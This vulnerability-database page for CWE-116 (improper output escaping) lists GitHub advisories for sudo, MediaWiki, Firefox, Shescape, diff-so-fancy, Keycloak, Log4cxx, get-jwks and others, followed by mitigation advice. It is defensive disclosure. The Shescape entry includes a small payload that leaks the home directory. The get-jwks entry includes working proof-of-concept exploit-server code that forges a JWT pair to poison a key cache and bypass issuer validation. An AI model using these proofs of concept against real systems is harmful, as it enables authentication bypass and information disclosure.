CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
721 vulnerabilities reference this CWE, most recent first.
GHSA-PR34-R4F9-F5C6
Vulnerability from github – Published: 2023-03-16 03:30 – Updated: 2023-03-22 15:30Sudo before 1.9.13 does not escape control characters in log messages.
{
"affected": [],
"aliases": [
"CVE-2023-28486"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T01:15:00Z",
"severity": "MODERATE"
},
"details": "Sudo before 1.9.13 does not escape control characters in log messages.",
"id": "GHSA-pr34-r4f9-f5c6",
"modified": "2023-03-22T15:30:21Z",
"published": "2023-03-16T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28486"
},
{
"type": "WEB",
"url": "https://github.com/sudo-project/sudo/commit/334daf92b31b79ce68ed75e2ee14fca265f029ca"
},
{
"type": "WEB",
"url": "https://github.com/sudo-project/sudo/releases/tag/SUDO_1_9_13"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00002.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-12"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230420-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PRQG-F9GX-75QH
Vulnerability from github – Published: 2025-04-11 18:31 – Updated: 2025-07-07 15:30Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki - Confirm Account Extension allows Cross-Site Scripting (XSS).This issue affects Mediawiki - Confirm Account Extension: from 1.39 through 1.43.
{
"affected": [],
"aliases": [
"CVE-2025-32074"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-11T17:15:44Z",
"severity": "CRITICAL"
},
"details": "Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki - Confirm Account Extension allows Cross-Site Scripting (XSS).This issue affects Mediawiki - Confirm Account Extension: from 1.39 through 1.43.",
"id": "GHSA-prqg-f9gx-75qh",
"modified": "2025-07-07T15:30:33Z",
"published": "2025-04-11T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32074"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/q/I86f47103ffb78c671890b44ccd59fcff6613975f"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T386908"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PWC5-5WFJ-Q75C
Vulnerability from github – Published: 2025-10-14 15:31 – Updated: 2026-04-13 15:30Insufficient escaping in the “Copy as cURL” feature could have been used to trick a user into executing unexpected code on Windows. This did not affect Firefox running on other operating systems. This vulnerability affects Firefox < 144, Firefox ESR < 140.4, Thunderbird < 144, and Thunderbird < 140.4.
{
"affected": [],
"aliases": [
"CVE-2025-11713"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T13:15:37Z",
"severity": "HIGH"
},
"details": "Insufficient escaping in the \u201cCopy as cURL\u201d feature could have been used to trick a user into executing unexpected code on Windows. This did not affect Firefox running on other operating systems. This vulnerability affects Firefox \u003c 144, Firefox ESR \u003c 140.4, Thunderbird \u003c 144, and Thunderbird \u003c 140.4.",
"id": "GHSA-pwc5-5wfj-q75c",
"modified": "2026-04-13T15:30:51Z",
"published": "2025-10-14T15:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11713"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1986142"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-81"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-83"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-84"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-85"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q53C-4PRM-W95Q
Vulnerability from github – Published: 2026-07-24 22:34 – Updated: 2026-08-12 19:33Impact
This impacts users of Shescape on Unix systems that explicitly configure shell to Dash, or true when the default shell is Dash, using the escape and escapeAll APIs in assignments prefixed to a command.
An attacker may be able to obtain the location of the home directory and, depending on how it is used, change the location on which a command operates in unexpected ways.
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "dash",
// Or
shell: true, // Only if the default shell is Dash
};
// 2. Payload
const payload = ":~";
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);
// And (example)
const result = cp.execSync(`V=${escapedPayload}; echo $V`, options);
// 4. Impact
console.log(result.toString());
// Outputs ":" followed by the user's home directory
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) refrain from using Dash, 2) use the env option of the node:child_process API to inject variables with untrusted values instead, or 3) remove all instances of ~ from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73411"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:34:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Dash, or `true` when the default shell is Dash, using the `escape` and `escapeAll` APIs in assignments prefixed to a command.\n\nAn attacker may be able to obtain the location of the home directory and, depending on how it is used, change the location on which a command operates in unexpected ways.\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n shell: \"dash\",\n // Or\n shell: true, // Only if the default shell is Dash\n};\n\n// 2. Payload\nconst payload = \":~\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \":\" followed by the user\u0027s home directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Dash, 2) use the `env` option of the `node:child_process` API to inject variables with untrusted values instead, or 3) remove all instances of `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
"id": "GHSA-q53c-4prm-w95q",
"modified": "2026-08-12T19:33:11Z",
"published": "2026-07-24T22:34:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-q53c-4prm-w95q"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2649"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2651"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ericcornelissen/shescape"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Shescape: Home-directory disclosure in assignment context on Unix with Dash"
}
GHSA-Q6JF-93CP-9XWF
Vulnerability from github – Published: 2026-07-29 12:31 – Updated: 2026-07-29 12:31diff‑so‑fancy does not properly sanitize non‑SGR terminal control sequences before outputting diff data. The application only strips ANSI SGR sequences while allowing other control characters, including carriage return (\r) and escape sequences (e.g., OSC, CSI), to pass through unsanitized.
An attacker can embed malicious control sequences in filenames, diff metadata, or file content that are rendered directly in the terminal during diff viewing. This can lead to output manipulation, including filename spoofing, terminal screen clearing, and clipboard injection via supported escape sequences.
Successful exploitation may mislead users during code review, alter terminal state, or result in unintended command execution through clipboard hijacking.
This issue has been fixed in the commit 9c81294
{
"affected": [],
"aliases": [
"CVE-2026-50642"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T11:16:49Z",
"severity": "MODERATE"
},
"details": "diff\u2011so\u2011fancy does not properly sanitize non\u2011SGR terminal control sequences before outputting diff data. The application only strips ANSI SGR sequences while allowing other control characters, including carriage return (\\r) and escape sequences (e.g., OSC, CSI), to pass through unsanitized.\n\nAn attacker can embed malicious control sequences in filenames, diff metadata, or file content that are rendered directly in the terminal during diff viewing. This can lead to output manipulation, including filename spoofing, terminal screen clearing, and clipboard injection via supported escape sequences.\n\nSuccessful exploitation may mislead users during code review, alter terminal state, or result in unintended command execution through clipboard hijacking.\n\nThis issue has been fixed in the commit\u00a09c81294",
"id": "GHSA-q6jf-93cp-9xwf",
"modified": "2026-07-29T12:31:23Z",
"published": "2026-07-29T12:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50642"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2026/07/CVE-2026-41874"
},
{
"type": "WEB",
"url": "https://github.com/so-fancy/diff-so-fancy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q6W2-89HQ-HQ27
Vulnerability from github – Published: 2021-06-08 23:02 – Updated: 2022-08-11 16:52A flaw was found in keycloak in versions before 13.0.0. A Self Stored XSS attack vector escalating to a complete account takeover is possible due to user-supplied data fields not being properly encoded and Javascript code being used to process the data. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-20195"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-20",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-01T17:55:29Z",
"nvd_published_at": "2021-05-28T11:15:00Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in keycloak in versions before 13.0.0. A Self Stored XSS attack vector escalating to a complete account takeover is possible due to user-supplied data fields not being properly encoded and Javascript code being used to process the data. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.",
"id": "GHSA-q6w2-89hq-hq27",
"modified": "2022-08-11T16:52:01Z",
"published": "2021-06-08T23:02:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20195"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/717d9515fa131e3d8c8936e41b2e52270fdec976"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1919143"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "keycloak Self Stored Cross-site Scripting vulnerability"
}
GHSA-Q829-QFQ5-5548
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32Adobe Commerce is affected by an Improper Encoding or Escaping of Output vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48358"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T20:17:08Z",
"severity": "CRITICAL"
},
"details": "Adobe Commerce is affected by an Improper Encoding or Escaping of Output vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-q829-qfq5-5548",
"modified": "2026-07-14T21:32:19Z",
"published": "2026-07-14T21:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48358"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb26-73.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q8QR-WP2R-738R
Vulnerability from github – Published: 2026-04-10 18:31 – Updated: 2026-04-21 15:32Apache Log4cxx's XMLLayout https://logging.apache.org/log4cxx/1.7.0/classlog4cxx_1_1xml_1_1XMLLayout.html , in versions before 1.7.0, fails to sanitize characters forbidden by the XML 1.0 specification https://www.w3.org/TR/xml/#charsets in log messages, NDC, and MDC property keys and values, producing invalid XML output. Conforming XML parsers must reject such documents with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.
An attacker who can influence logged data can exploit this to suppress individual log records, impairing audit trails and detection of malicious activity.
Users are advised to upgrade to Apache Log4cxx 1.7.0, which fixes this issue.
{
"affected": [],
"aliases": [
"CVE-2026-40023"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-10T16:16:32Z",
"severity": "MODERATE"
},
"details": "Apache Log4cxx\u0027s XMLLayout https://logging.apache.org/log4cxx/1.7.0/classlog4cxx_1_1xml_1_1XMLLayout.html , in versions before 1.7.0, fails to sanitize characters forbidden by the XML 1.0 specification https://www.w3.org/TR/xml/#charsets in log messages, NDC, and MDC property keys and values, producing invalid XML output. Conforming XML parsers must reject such documents with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.\n\nAn attacker who can influence logged data can exploit this to suppress individual log records, impairing audit trails and detection of malicious activity.\n\nUsers are advised to upgrade to Apache Log4cxx 1.7.0, which fixes this issue.",
"id": "GHSA-q8qr-wp2r-738r",
"modified": "2026-04-21T15:32:17Z",
"published": "2026-04-10T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40023"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4cxx/pull/609"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/y15cv3zblg3dfwr5vy6ddbnl4zyrzr8b"
},
{
"type": "WEB",
"url": "https://logging.apache.org/cyclonedx/vdr.xml"
},
{
"type": "WEB",
"url": "https://logging.apache.org/log4cxx/1.7.0/classlog4cxx_1_1xml_1_1XMLLayout.html"
},
{
"type": "WEB",
"url": "https://logging.apache.org/security.html#CVE-2026-40023"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/10/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q935-66V8-QQRQ
Vulnerability from github – Published: 2025-05-28 03:30 – Updated: 2025-05-28 03:30IBM Security Guardium 12.0 could allow a privileged user to download any file on the system due to improper escaping of input.
{
"affected": [],
"aliases": [
"CVE-2025-25029"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-28T02:15:20Z",
"severity": "MODERATE"
},
"details": "IBM Security Guardium 12.0 could allow a privileged user to download any file on the system due to improper escaping of input.",
"id": "GHSA-q935-66v8-qqrq",
"modified": "2025-05-28T03:30:34Z",
"published": "2025-05-28T03:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25029"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7234827"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QC2Q-QHF3-235M
Vulnerability from github – Published: 2025-09-26 14:27 – Updated: 2025-09-29 14:03Summary
A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.
Details
When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.
The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.
PoC
Server code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://example.com',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Exploit server that generates the JWT pair and send the public RSA key to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, {
algorithm: 'RS256',
header: {
kid: "testkid",
} });
res.send(token);
});
// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {
kid: `testkid:${host}/?`,
} });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
kid: 'testkid',
alg: 'RS256',
use: 'sig',
}]
});
})
app.use((req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '/.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
The first JWT token will create a cache entry with the chosen public key and have the following format:
RS256:testkid:http://localhost:3001/?:https://example.com
The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:
RS256:testkid:http://localhost:3001/?:https://example.com
Impact
Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.
Solution
Escape each component used in the cache key, so delimiter collisions are impossible.
https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.1"
},
"package": {
"ecosystem": "npm",
"name": "get-jwks"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59936"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-26T14:27:01Z",
"nvd_published_at": "2025-09-27T01:15:43Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n jwks.getPublicKey({\n kid: jwt.header.kid,\n alg: jwt.header.alg,\n domain: jwt.payload.iss\n });\n\nconst jwtVerifier = createVerifier({\n key: keyFetcher,\n allowedIss: \u0027https://example.com\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n let token = \u0027\u0027;\n if (headerAuth.length \u003e 1) {\n token = headerAuth[1];\n }\n\n const payload = await jwtVerifier(token);\n\n req.decoded = payload;\n next();\n}\n\n// Endpoint to check if you are auth or not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n { modulusLength: 4096,\n publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post(\u0027/create-token-1\u0027, (req, res) =\u003e {\n const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, { \n algorithm: \u0027RS256\u0027, \n header: {\n kid: \"testkid\", \n } });\n res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post(\u0027/create-token-2\u0027, (req, res) =\u003e {\n const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: \u0027RS256\u0027, header: {\n kid: `testkid:${host}/?`, \n } });\n res.send(token);\n });\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n return res.json({\n keys: [{\n ...jwk,\n kid: \u0027testkid\u0027,\n alg: \u0027RS256\u0027,\n use: \u0027sig\u0027,\n }]\n });\n})\n\napp.use((req, res) =\u003e {\n return res.json({\n \"issuer\": host,\n \"jwks_uri\": host + \u0027/.well-known/jwks.json\u0027\n });\n});\n\napp.listen(port, () =\u003e {\n console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76",
"id": "GHSA-qc2q-qhf3-235m",
"modified": "2025-09-29T14:03:51Z",
"published": "2025-09-26T14:27:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59936"
},
{
"type": "WEB",
"url": "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/get-jwks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass"
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
